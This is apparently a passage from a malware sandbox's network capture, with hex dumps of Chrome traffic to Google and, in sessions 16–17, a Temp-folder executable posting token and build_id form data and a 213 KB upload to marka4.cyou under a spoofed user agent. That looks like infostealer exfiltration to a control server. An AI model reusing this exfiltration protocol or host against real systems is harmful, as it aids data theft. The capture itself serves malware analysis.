2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b Data Ascii: alue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 Data Ascii: function(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 7b 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 Data Ascii: {for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;thi
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 68 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 Data Ascii: h("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototy
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 64 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c Data Ascii: done)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regul
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 5f 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 Data Ascii: _hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw E
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 74 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 Data Ascii: this[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.protot
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e Data Ascii: ction(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.n
2025-01-12 16:40:23 UTC	1390	IN	Data Raw: 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 Data Ascii: ray.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	50042	142.250.184.206	443	1968	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:24 UTC	714	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 16:40:24 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 36 37 30 30 30 32 31 38 39 34 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1736700021894",null,null,null,
2025-01-12 16:40:24 UTC	946	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=520=Fzq4BLRDHU1FJErmLoCrJpsJKkLwS-NB8o5bkNxVWDBypnEAVvG_BSYfh7h98RUHe-EqlqJIngs5xG0P_qiGJmK22wOp5dFkJT0wzNSgZLUr7ob4Sr-j-LlY6kdmU1DdXlpaiC4pCZu8HF7kY9yxTIrclOWOA-dtNQKtJm9cNUxk5BRy63jspCzm_MYC; expires=Mon, 14-Jul-2025 16:40:24 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Sun, 12 Jan 2025 16:40:24 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Sun, 12 Jan 2025 16:40:24 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
2025-01-12 16:40:24 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2025-01-12 16:40:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	50046	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:24 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----ukx47gdb1djeua1nym79 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:24 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 75 6b 78 34 37 67 64 62 31 64 6a 65 75 61 31 6e 79 6d 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 75 6b 78 34 37 67 64 62 31 64 6a 65 75 61 31 6e 79 6d 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 75 6b 78 34 37 67 64 62 31 64 6a 65 75 61 31 6e 79 6d 37 39 0d 0a 43 6f 6e 74 Data Ascii: ------ukx47gdb1djeua1nym79Content-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------ukx47gdb1djeua1nym79Content-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------ukx47gdb1djeua1nym79Cont
2025-01-12 16:40:25 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Jan 2025 16:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-12 16:40:25 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	50050	116.203.166.124	443	7736	C:\Users\user\AppData\Local\Temp\1038908001\bKIFsVe.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-12 16:40:26 UTC	279	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----u3wt00hvk68gvasj5xlf User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: marka4.cyou Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 75 33 77 74 30 30 68 76 6b 36 38 67 76 61 73 6a 35 78 6c 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 62 65 65 31 36 61 38 32 62 62 61 65 30 64 30 35 61 63 37 31 65 61 39 65 33 33 31 38 63 64 64 0d 0a 2d 2d 2d 2d 2d 2d 75 33 77 74 30 30 68 76 6b 36 38 67 76 61 73 6a 35 78 6c 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 30 66 30 38 35 31 62 31 66 38 31 35 37 38 38 61 34 66 34 31 37 65 34 36 36 64 39 62 37 30 30 0d 0a 2d 2d 2d 2d 2d 2d 75 33 77 74 30 30 68 76 6b 36 38 67 76 61 73 6a 35 78 6c 66 0d 0a 43 6f 6e 74 Data Ascii: ------u3wt00hvk68gvasj5xlfContent-Disposition: form-data; name="token"3bee16a82bbae0d05ac71ea9e3318cdd------u3wt00hvk68gvasj5xlfContent-Disposition: form-data; name="build_id"30f0851b1f815788a4f417e466d9b700------u3wt00hvk68gvasj5xlfCont
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-12 16:40:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
